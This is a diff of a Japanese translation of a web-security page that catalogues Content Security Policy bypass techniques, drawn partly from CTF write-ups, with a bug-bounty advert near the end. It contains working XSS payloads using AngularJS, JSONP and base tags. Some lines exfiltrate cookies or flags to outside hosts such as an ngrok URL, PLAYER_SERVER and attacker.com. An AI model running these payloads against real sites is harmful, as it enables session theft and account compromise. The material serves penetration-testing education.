* **none**: このディレクティブは、どのソースからも何もロードしないことを許可します。
|
||||
* **none**: このディレクティブは、どのソースからも何もロードできないようにします。
|
||||
* **unsafe-eval**: これはeval()や類似のメソッドを使用して文字列からコードを作成することを許可します。これは安全なプラクティスではないため、このソースを任意のディレクティブに含めることは推奨されません。同じ理由で、unsafeという名前が付けられています。
|
||||
* **unsafe-hashes**: これにより、特定のインラインイベントハンドラの有効化が可能になります。
|
||||
* **unsafe-inline**: これにより、インラインリソース(インライン要素、javascript:URL、インラインイベントハンドラ、インライン要素など)の使用が許可されます。セキュリティ上の理由から、これは推奨されません。
|
||||
* **nonce**: 暗号化されたnonce(一度だけ使用される数値)を使用して特定のインラインスクリプトのホワイトリストを作成します。サーバーは、ポリシーを送信するたびに一意のnonce値を生成する必要があります。
|
||||
* **nonce**: 暗号化されたnonce(一度だけ使用される数値)を使用して特定のインラインスクリプトをホワイトリストに登録します。サーバーは、ポリシーを送信するたびに一意のnonce値を生成する必要があります。
|
||||
* **sha256-\<hash>**: 特定のsha256ハッシュを持つスクリプトをホワイトリストに登録します。
|
||||
* **strict-dynamic**: これにより、以前に「nonce」または「hash」値によってホワイトリストに登録されたスクリプトソースから、ブラウザがDOM内で新しいJavaScriptタグをロードおよび実行できるようになります。
|
||||
* **host**: example.comなどのホストを示します。
|
||||
|
@ -112,7 +119,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
|||
```
|
||||
### strict-dynamic
|
||||
|
||||
もし何らかの方法で、許可されたJSコードがDOM内で新しいスクリプトタグを作成することができれば、許可されたスクリプトがそれを作成しているため、**新しいスクリプトタグは実行が許可されます**。
|
||||
もし何らかの方法で、許可されたJSコードが新しいスクリプトタグをDOMに作成することができれば、許可されたスクリプトがそれを作成しているため、**新しいスクリプトタグは実行が許可されます**。
|
||||
|
||||
### ワイルドカード (\*)
|
||||
```yaml
|
||||
|
@ -143,11 +150,16 @@ Content-Security-Policy: script-src 'self' ;
|
|||
|
||||
CSPのデフォルトの設定では、`self`ディレクティブが使用されており、同じオリジンからのリソースのみが許可されます。これは、ウェブアプリケーションが自身のドメインからのみリソースを読み込むことを意味します。
|
||||
|
||||
しかし、このテクニックでは、ファイルのアップロード機能を使用して、CSPの制限を回避します。攻撃者は、アップロードされたファイルを自身のドメインにホストすることができます。その後、攻撃者は自身のドメインからリソースを読み込むことができるため、CSPの制限を回避することができます。
|
||||
しかし、このテクニックでは、ファイルのアップロード機能を悪用して、CSPの制限を回避します。攻撃者は、アップロードされたファイルを自身のドメインにホストすることで、CSPの`self`ディレクティブをバイパスします。これにより、攻撃者は制限されたドメインからのリソースを読み込むことができます。
|
||||
|
||||
このテクニックを実行するためには、ウェブアプリケーションがファイルのアップロード機能を提供している必要があります。また、アップロードされたファイルを公開するための適切な手段も必要です。攻撃者は、アップロードされたファイルを自身のドメインにホストするために、適切なサーバーまたはクラウドプラットフォームを使用する必要があります。
|
||||
このテクニックを実行するためには、以下の手順を実行します。
|
||||
|
||||
このテクニックを使用する際には、CSPの設定を確認し、ファイルのアップロード機能が適切に制限されていないかを確認することが重要です。攻撃者がファイルのアップロードをバイパスすることができる場合、ウェブアプリケーションのセキュリティに重大な脆弱性が存在する可能性があります。
|
||||
1. ウェブアプリケーションのファイルアップロード機能を見つけます。
|
||||
2. 任意のファイルをアップロードし、アップロードされたファイルのURLを取得します。
|
||||
3. 攻撃者は、自身のドメインにファイルをホストするための適切な手段を使用します(例:クラウドストレージ、SaaSプラットフォーム)。
|
||||
4. 攻撃者は、CSPの`self`ディレクティブをバイパスするために、アップロードされたファイルのURLを使用します。
|
||||
|
||||
このテクニックにより、攻撃者はCSPの制限を回避し、制限されたドメインからのリソースを読み込むことができます。これにより、悪意のあるコードの実行や機密情報の漏洩などのセキュリティ上のリスクが生じる可能性があります。ウェブアプリケーションの開発者は、CSPの設定を適切に行い、ファイルのアップロード機能を適切に制御する必要があります。
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```
|
||||
|
@ -157,9 +169,9 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
|||
```markup
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
しかし、サーバーが**アップロードされたファイルを検証**し、**特定の種類のファイルのみをアップロード**できるようにする可能性が非常に高いです。
|
||||
しかし、サーバーが**アップロードされたファイルを検証**し、**特定の種類のファイルのみをアップロード**できるようにしている可能性が非常に高いです。
|
||||
|
||||
さらに、サーバーが受け入れる拡張子(例:_script.png_)を使用してファイル内に**JSコードをアップロード**できたとしても、これだけでは十分ではありません。なぜなら、Apacheサーバーのような一部のサーバーは、拡張子に基づいてファイルのMIMEタイプを**選択**し、Chromeのようなブラウザは、画像であるべきもの内部のJavascriptコードの実行を**拒否**するからです。幸いなことに、ここにはミスがあります。たとえば、CTFから学んだところによれば、**Apacheは**_**.wave**_**拡張子を認識しない**ため、**audio/\***のようなMIMEタイプで提供しません。
|
||||
さらに、サーバーが受け入れる拡張子(例:_script.png_のような)を使用してファイル内に**JSコードをアップロード**できたとしても、これだけでは十分ではありません。なぜなら、Apacheサーバーのような一部のサーバーは、拡張子に基づいてファイルのMIMEタイプを**選択**し、Chromeのようなブラウザは、画像であるべきものに含まれるJavascriptコードを**実行しないように拒否**します。幸いなことに、ここでミスがあります。たとえば、CTFから学んだところによれば、**Apacheは**_**.wave**_**拡張子を認識しない**ため、**audio/\***のようなMIMEタイプで提供しません。
|
||||
|
||||
ここから、XSSとファイルのアップロードを見つけ、**誤解された拡張子**を見つけることができれば、その拡張子を持つファイルとスクリプトの内容をアップロードしてみることができます。または、サーバーがアップロードされたファイルの正しい形式をチェックしている場合は、ポリグロット([ここにいくつかのポリグロットの例があります](https://github.com/Polydet/polyglot-database))を作成してみてください。
|
||||
|
||||
|
@ -171,13 +183,7 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
|||
```yaml
|
||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||||
```
|
||||
脆弱なバージョンのAngularを読み込み、任意のJavaScriptを実行します:
|
||||
|
||||
```html
|
||||
<script src="https://example.com/angular/vulnerable-version.js"></script>
|
||||
```
|
||||
|
||||
This vulnerability allows an attacker to inject and execute arbitrary JavaScript code on a web page that uses the vulnerable version of Angular. By loading the vulnerable version of Angular from a remote server, the attacker can exploit this vulnerability to perform various malicious activities, such as stealing sensitive information or performing unauthorized actions on behalf of the user. It is important to keep your web applications up to date and use secure versions of frameworks to prevent such attacks.
|
||||
脆弱性のあるバージョンのAngularをロードし、任意のJSを実行します。
|
||||
```markup
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
|
||||
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
|
||||
|
@ -231,27 +237,25 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
|||
```
|
||||
### サードパーティのエンドポイント + JSONP
|
||||
|
||||
JSONP(JSON with Padding)は、クロスドメインリクエストを実現するための一般的な手法です。これは、ウェブアプリケーションが異なるドメインのエンドポイントにアクセスするために使用されます。
|
||||
JSONP(JSON with Padding)は、クロスドメインリクエストを実現するための一般的な手法です。これは、ウェブアプリケーションが異なるドメインのサードパーティエンドポイントにアクセスするために使用されます。
|
||||
|
||||
JSONPは、スクリプトタグを使用して外部スクリプトを読み込むことによって機能します。ウェブアプリケーションは、サードパーティのエンドポイントに対してスクリプトタグを生成し、コールバック関数を指定します。サードパーティのエンドポイントは、指定されたコールバック関数を含むJSONデータを返します。
|
||||
JSONPは、スクリプトタグを使用して外部スクリプトを読み込むことによって機能します。ウェブアプリケーションは、サードパーティのエンドポイントに対してスクリプトタグを生成し、コールバック関数を指定します。サードパーティのエンドポイントは、指定されたコールバック関数を含むJSONデータを返します。ウェブアプリケーションは、コールバック関数を使用してJSONデータを処理します。
|
||||
|
||||
これにより、ウェブアプリケーションは異なるドメインのエンドポイントからデータを取得できます。しかし、CSP(Content Security Policy)が適用されている場合、JSONPは制限される可能性があります。
|
||||
この手法は、Content Security Policy(CSP)によって制限される場合があります。CSPは、ウェブアプリケーションが許可されたリソースのみにアクセスできるようにするためのセキュリティメカニズムです。CSPが適用されている場合、ウェブアプリケーションは指定されたドメイン以外のエンドポイントにアクセスできません。
|
||||
|
||||
CSPは、ウェブアプリケーションが許可されたリソースのみにアクセスできるようにするためのセキュリティメカニズムです。CSPは、特定のドメインやエンドポイントへのアクセスを制限するため、JSONPの使用を制限することがあります。
|
||||
しかし、CSPバイパスのテクニックを使用することで、JSONPを使用してサードパーティのエンドポイントにアクセスすることができます。これにより、CSPの制限を回避し、ウェブアプリケーションが制限されたドメイン以外のデータにアクセスできるようになります。
|
||||
|
||||
しかし、いくつかの方法を使用して、CSPをバイパスしてJSONPを使用することができます。これには、CSPの設定を回避するためのテクニックや、既存のJSONPエンドポイントを悪用する方法が含まれます。
|
||||
CSPバイパスの一般的なテクニックには、以下のものがあります。
|
||||
|
||||
これらのテクニックを使用することで、CSPをバイパスしてサードパーティのエンドポイントにアクセスし、データを取得することができます。ただし、これらのテクニックは慎重に使用する必要があり、適切な許可を得た場合にのみ使用するべきです。
|
||||
- ホワイトリストされたドメインを使用して、CSPの設定を回避する。
|
||||
- サブドメインを使用して、CSPの設定を回避する。
|
||||
- リダイレクトを使用して、CSPの設定を回避する。
|
||||
|
||||
これらのテクニックを使用することで、CSPをバイパスし、JSONPを使用してサードパーティのエンドポイントにアクセスすることができます。ただし、これらのテクニックはセキュリティ上のリスクを伴うため、慎重に使用する必要があります。
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
以下のようなシナリオでは、`script-src`が`self`と特定のドメインに設定されている場合、JSONPを使用して回避することができます。 JSONPエンドポイントは、安全でないコールバックメソッドを許可するため、攻撃者はXSSを実行することができます。有効なペイロードは以下の通りです:
|
||||
|
||||
```javascript
|
||||
<script src="https://attacker.com/evil.js"></script>
|
||||
```
|
||||
|
||||
この攻撃では、攻撃者は`https://attacker.com/evil.js`という外部スクリプトをロードし、サイトのコンテキスト内で任意のコードを実行することができます。
|
||||
次のようなシナリオでは、`script-src`が`self`と特定のドメインに設定されている場合、JSONPを使用して回避することができます。 JSONPエンドポイントは、安全でないコールバックメソッドを許可するため、攻撃者はXSSを実行することができます。有効なペイロードは以下の通りです:
|
||||
```markup
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
|
@ -267,12 +271,12 @@ https://www.youtube.com/oembed?callback=alert;
|
|||
|
||||
### フォルダパスバイパス
|
||||
|
||||
CSPポリシーがフォルダを指す場合、**"/"**をエンコードするために**%2f**を使用すると、それはまだフォルダ内にあると見なされます。すべてのブラウザがこれに同意しているようです。\
|
||||
これにより、サーバーがデコードする場合には、**"%2f..%2f"**を使用してバイパスすることができます。たとえば、CSPが`http://example.com/company/`を許可している場合、フォルダの制限をバイパスして次のコードを実行できます:`http://example.com/company%2f..%2fattacker/file.js`
|
||||
CSPポリシーがフォルダを指す場合、**"/"**をエンコードするために**%2f**を使用しても、それはまだフォルダ内にあると見なされます。すべてのブラウザがこれに同意しているようです。\
|
||||
これにより、サーバーがデコードする場合には、**%2f..%2f**を使用してバイパスすることができます。たとえば、CSPが`http://example.com/company/`を許可している場合、フォルダの制限をバイパスして次のコードを実行できます:`http://example.com/company%2f..%2fattacker/file.js`
|
||||
|
||||
オンラインの例:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
### IframesでのJS実行
|
||||
### IframesによるJSの実行
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
||||
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
|
@ -282,14 +286,14 @@ CSPポリシーがフォルダを指す場合、**"/"**をエンコードする
|
|||
|
||||
**base-uri**ディレクティブが不足している場合、[**dangling markup injection**](../dangling-markup-html-scriptless-injection.md)を実行するために悪用することができます。
|
||||
|
||||
さらに、脆弱なページが相対パス(例:`/js/app.js`)を使用してスクリプトをロードしている場合、**Nonce**を使用して、**base** **tag**を悪用してスクリプトを**自分のサーバーからロードし、XSSを達成**することができます。\
|
||||
さらに、脆弱なページが相対パス(たとえば`/js/app.js`)を使用してスクリプトをロードしている場合、**Nonce**を使用して、**base** **tag**を悪用してスクリプトを**自分のサーバーからロードし、XSSを達成**することができます。\
|
||||
脆弱なページがhttpSで読み込まれる場合は、baseでhttpSのURLを使用してください。
|
||||
```html
|
||||
<base href="https://www.attacker.com/">
|
||||
```
|
||||
### AngularJS イベント
|
||||
|
||||
特定のポリシーによって、CSPはJavaScriptイベントをブロックする場合があります。ただし、AngularJSでは代わりに使用できる独自のイベントが定義されています。イベント内部では、AngularJSは特別な`$event`オブジェクトを定義しており、これは単純にブラウザのイベントオブジェクトを参照します。このオブジェクトを使用してCSPをバイパスすることができます。Chromeでは、`$event/event`オブジェクトには`path`という特別なプロパティがあります。このプロパティには、イベントの実行を引き起こすオブジェクトの配列が含まれています。最後のプロパティは常に`window`オブジェクトであり、これを使用してサンドボックスを脱出することができます。この配列を`orderBy`フィルタに渡すことで、配列を列挙し、最後の要素(`window`オブジェクト)を使用して`alert()`などのグローバル関数を実行することができます。以下のコードはこれを示しています:
|
||||
特定のポリシーによって、CSPはJavaScriptイベントをブロックする場合があります。ただし、AngularJSは独自のイベントを定義しており、代わりに使用することができます。イベント内部では、AngularJSは`$event`という特別なオブジェクトを定義しています。このオブジェクトは単純にブラウザのイベントオブジェクトを参照します。このオブジェクトを使用してCSPをバイパスすることができます。Chromeでは、`$event/event`オブジェクトには`path`という特別なプロパティがあります。このプロパティには、イベントの実行を引き起こすオブジェクトの配列が含まれています。最後のプロパティは常に`window`オブジェクトであり、これを使用してサンドボックスを脱出することができます。この配列を`orderBy`フィルタに渡すことで、配列を列挙し、最後の要素(`window`オブジェクト)を使用して`alert()`などのグローバル関数を実行することができます。以下のコードはこれを示しています:
|
||||
```markup
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
|
@ -300,9 +304,9 @@ CSPポリシーがフォルダを指す場合、**"/"**をエンコードする
|
|||
```
|
||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
もしアプリケーションがAngular JSを使用しており、スクリプトがホワイトリストに登録されたドメインからロードされている場合、コールバック関数と脆弱性のあるクラスを呼び出すことで、このCSPポリシーをバイパスすることが可能です。詳細については、この素晴らしい[git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22)リポジトリを参照してください。
|
||||
もしアプリケーションがAngular JSを使用しており、スクリプトがホワイトリストに登録されたドメインからロードされている場合、コールバック関数と脆弱性のあるクラスを呼び出すことで、このCSPポリシーをバイパスすることが可能です。詳細については、この素晴らしい[git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22)リポジトリをご覧ください。
|
||||
|
||||
動作するペイロード:
|
||||
動作するペイロード:
|
||||
```html
|
||||
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
|
||||
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
|
||||
|
@ -322,13 +326,13 @@ default-src 'self' 'unsafe-inline'; img-src *;
|
|||
```
|
||||
`'unsafe-inline'`は、コード内で任意のスクリプトを実行できることを意味します(XSSはコードを実行できます)。また、`img-src *`は、ウェブページで任意のリソースからの画像を使用できることを意味します。
|
||||
|
||||
このCSPをバイパスするために、画像を介してデータを外部に送信することができます(この場合、XSSはボットによってアクセス可能なページでCSRFを悪用し、SQLiを含んだフラグを画像を通じて抽出します)。
|
||||
このCSPをバイパスする方法は、画像を介してデータを外部に流出させることです(この場合、XSSはボットによってアクセス可能なページでCSRFを悪用し、SQLiを含んだフラグを画像を介して抽出します)。
|
||||
```javascript
|
||||
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
|
||||
```
|
||||
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
この設定を悪用して、**画像内に挿入されたJavaScriptコードを読み込む**こともできます。たとえば、ページがTwitterから画像を読み込むことを許可している場合、**特別な画像**を作成し、Twitterにアップロードして、"**unsafe-inline**"を悪用して通常のXSSとしてJSコードを**実行**し、**画像**からJSを**抽出**して**実行**することができます:[https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
この設定を悪用して、**画像内に挿入されたJavaScriptコードを読み込む**こともできます。たとえば、ページがTwitterから画像を読み込むことを許可している場合、**特別な画像**を作成し、Twitterに**アップロード**して、"**unsafe-inline**"を悪用して通常のXSSとしてJSコードを**実行**し、**画像**からJSを**抽出**して**実行**することができます:[https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### サービスワーカーを使用する場合
|
||||
|
||||
|
@ -344,25 +348,25 @@ From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](
|
|||
|
||||
#### Chrome
|
||||
|
||||
あなたが送信した**パラメータ**が**ポリシー**の**宣言**内に**貼り付けられている**場合、**ポリシー**をいくつかの方法で**変更**して**無効化**することができます。これらのバイパスのいずれかを使用して、スクリプト 'unsafe-inline' を**許可**することができます:
|
||||
あなたが送信した**パラメータ**が**ポリシー**の**宣言**内に**貼り付けられている**場合、**ポリシー**を無効にするような方法で**ポリシー**を**変更**することができます。以下のいずれかのバイパスを使用して、スクリプト 'unsafe-inline' を許可することができます:
|
||||
```bash
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
```
|
||||
このディレクティブは、既存のscript-srcディレクティブを上書きします。\
|
||||
[ここ](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)に例があります。
|
||||
ここに例があります:[http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
|
||||
#### Edge
|
||||
|
||||
Edgeでは、CSPにこれだけ追加できれば、**`;_`** Edgeは**ポリシー全体を無効化**します。\
|
||||
例: [ここ](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E)
|
||||
Edgeでは、これだけをCSPに追加できれば十分です:**`;_`** Edgeは、**ポリシー全体を無効化**します。\
|
||||
例:[http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
|
||||
|
||||
### img-src \*;によるXSS(iframe)- タイムアタック
|
||||
|
||||
ディレクティブ`'unsafe-inline'`が欠けていることに注意してください。\
|
||||
今回は、`<iframe`を使用して被害者に**あなたの制御下のページ**を**読み込ませる**ことができます。この場合、被害者に情報(**CSRF**)を抽出したいページにアクセスさせます。ページの内容にはアクセスできませんが、ページの読み込みにかかる時間を**制御できる**場合、必要な情報を抽出することができます。
|
||||
ディレクティブ`'unsafe-inline'`が欠落していることに注意してください。\
|
||||
今回は、`<iframe`を使用して被害者に**あなたの制御下のページ**を**読み込ませる**ことができます。今回は被害者に情報(**CSRF**)を抽出したいページにアクセスさせます。ページの内容にはアクセスできませんが、ページの読み込みにかかる時間を**制御できる**場合、必要な情報を抽出することができます。
|
||||
|
||||
今回は、**フラグ**が抽出されます。SQLiによって**文字が正しく推測**されるたびに、**応答**が**スリープ関数**のために**より長く**なります。その後、フラグを抽出できます。
|
||||
今回は、**フラグ**が抽出されます。SQLiによって**文字が正しく推測**されるたびに、**応答**が**スリープ関数**のためにより長くなります。その後、フラグを抽出できます。
|
||||
```javascript
|
||||
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
|
||||
<script>
|
||||
|
@ -433,7 +437,7 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
|
|||
```
|
||||
### 情報の漏洩 CSP + Iframe
|
||||
|
||||
ユーザーによって異なる秘密のあるページにリダイレクトする**ページがある**と想像してください。例えば、ユーザー**admin**が**redirectme.domain1.com**にアクセスすると、**adminsecret321.domain2.com**にリダイレクトされ、adminにXSSを引き起こすことができます。\
|
||||
ユーザーによって異なる秘密のあるページにリダイレクトする**ページがある状況を想像してみてください**。例えば、ユーザー**admin**が**redirectme.domain1.com**にアクセスすると、**adminsecret321.domain2.com**にリダイレクトされ、adminにXSSを引き起こすことができます。\
|
||||
**また、リダイレクトされるページはセキュリティポリシーによって許可されていませんが、リダイレクトするページは許可されています。**
|
||||
|
||||
管理者がリダイレクトされるドメインを以下の方法で漏洩することができます:
|
||||
|
@ -441,36 +445,43 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
|
|||
* **CSP違反を通じて**
|
||||
* **CSPルールを通じて**
|
||||
|
||||
CSP違反は即座に漏洩します。`https://redirectme.domain1.com`を指すiframeを読み込み、`securitypolicyviolation`イベントを監視します。このイベントには、ブロックされたURIのドメインを含む`blockedURI`プロパティが含まれています。これは、CSPによってブロックされる`https://adminsecret321.domain2.com`にリダイレクトされるためです(CSPによってブロックされます)。これは、CSPでiframeを処理する方法の未定義の動作を利用しています。ChromeとFirefoxはこれに関して異なる動作をします。
|
||||
CSP違反は即座に漏洩します。`https://redirectme.domain1.com`を指すiframeを読み込み、`securitypolicyviolation`イベントを監視します。このイベントには、ブロックされたURIのドメインを含む`blockedURI`プロパティが含まれています。これは、CSPによってブロックされる`https://adminsecret321.domain2.com`にリダイレクトされるためです(CSPによってブロックされます)。これは、CSPでiframeをどのように処理するかに関する未定義の動作を利用しています。ChromeとFirefoxはこれに関して異なる動作をします。
|
||||
|
||||
秘密のサブドメインを構成する可能性のある文字を知っている場合、CSPがリソースをブロックした時としなかった時を確認するためにバイナリサーチを使用し、異なる禁止ドメインをCSPに作成することもできます(この場合、秘密はdoc-X-XXXX.secdrivencontent.devの形式である可能性があります)。
|
||||
秘密のサブドメインを構成する可能性のある文字を知っている場合、CSPがリソースをブロックした時としなかった時を確認するために、バイナリサーチを使用して異なる禁止ドメインをCSPに作成することもできます(この場合、秘密は`doc-X-XXXX.secdrivencontent.dev`の形式である可能性があります)。
|
||||
```
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
トリックは[**こちら**](https://ctftime.org/writeup/29310)から。
|
||||
トリックは[**ここ**](https://ctftime.org/writeup/29310)から。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう**
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報奨金を受け取ることができます。
|
||||
|
||||
🔔 新しいバグ報酬について通知を受ける
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長する日々において、Web3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティのディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
## CSPをバイパスするための安全でない技術
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから収益を得ましょう!
|
||||
|
||||
### PHPのレスポンスバッファの過負荷
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
PHPはデフォルトでレスポンスを4096バイトまでバッファリングすることで知られています。そのため、PHPが警告を表示している場合、警告内に十分なデータを提供することで、CSPヘッダーの**送信**よりも**前に**レスポンスが**送信**され、ヘッダーが無視されます。\
|
||||
そのため、この技術は基本的にはレスポンスバッファを警告で**埋める**ことで、CSPヘッダーが送信されないようにすることです。
|
||||
## CSPをバイパスするための安全でないテクノロジー
|
||||
|
||||
### PHPレスポンスバッファの過負荷
|
||||
|
||||
PHPはデフォルトでレスポンスを4096バイトまでバッファリングすることで知られています。したがって、PHPが警告を表示している場合、**警告内に十分なデータを提供することで**、**CSPヘッダー**が**送信される前に**レスポンスが**送信**され、ヘッダーが無視されるようになります。\
|
||||
そのため、このテクニックは基本的には**警告でレスポンスバッファを埋める**ことで、CSPヘッダーが送信されないようにするものです。
|
||||
|
||||
アイデアは[**この解説**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)から得られました。
|
||||
|
||||
### エラーページの書き換え
|
||||
|
||||
[**この解説**](https://blog.ssrf.kr/69)によると、CSP保護をバイパスするために、エラーページ(CSPなしで可能性がある)を読み込んでその内容を書き換えることができたようです。
|
||||
[**この解説**](https://blog.ssrf.kr/69)によると、CSP保護をバイパスするために、エラーページ(CSPなしである可能性があります)を読み込んでその内容を書き換えることができたようです。
|
||||
```javascript
|
||||
a = window.open('/' + 'x'.repeat(4100));
|
||||
setTimeout(function() {
|
||||
|
@ -479,15 +490,15 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
|||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOMEは、**ページのエンドポイント**でのXSS(または非常に制限されたXSS)を悪用して、**同じオリジンの他のエンドポイントを悪用**する技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後、攻撃者のページを同じオリジンの実際のエンドポイントにリフレッシュすることで行われます。これにより、**脆弱なエンドポイント**は**ペイロード**の**`opener`**オブジェクトを使用して、**悪用するための実際のエンドポイントのDOMにアクセス**することができます。詳細については、次を参照してください:
|
||||
SOMEは、**ページのエンドポイント**でのXSS(または非常に制限されたXSS)を悪用して、**同じオリジンの他のエンドポイントを悪用**する技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後、攻撃者のページを同じオリジンの実際のエンドポイントにリフレッシュすることで行われます。これにより、**脆弱なエンドポイント**は**ペイロード**内の**`opener`**オブジェクトを使用して、**悪用するための実際のエンドポイントのDOMにアクセス**することができます。詳細については、次を参照してください:
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
さらに、**wordpress**には`/wp-json/wp/v2/users/1?_jsonp=data`という**JSONP**エンドポイントがあり、出力に送信された**データ**を**反映**します(ただし、文字、数字、ドットのみが許可されます)。
|
||||
さらに、**wordpress**には`/wp-json/wp/v2/users/1?_jsonp=data`という**JSONP**エンドポイントがあり、出力に送信された**データ**を**反映**します(ただし、文字、数字、ドットのみが制限されます)。
|
||||
|
||||
攻撃者は、このエンドポイントを悪用してWordPressに対して**SOME攻撃**を生成し、`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`の中に埋め込むことができます。この**スクリプト**は、**'self'によって許可**されているため、**ロード**されます。さらに、WordPressがインストールされているため、攻撃者は**SOME攻撃**を**バイパスする**ための**脆弱な****コールバック**エンドポイントを悪用することができます。これにより、ユーザーにより多くの特権を与えたり、新しいプラグインをインストールしたりすることができます。\
|
||||
攻撃者は、このエンドポイントを悪用してWordPressに対して**SOME攻撃**を生成し、`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`の中に埋め込むことができます。この**スクリプト**は、'self'によって**許可されているため**、**ロード**されます。さらに、WordPressがインストールされているため、攻撃者は**SOME攻撃**を**バイパスする**ための**脆弱な****コールバック**エンドポイントを悪用することができます。これにより、ユーザーにより多くの特権を与えたり、新しいプラグインをインストールしたりすることができます...\
|
||||
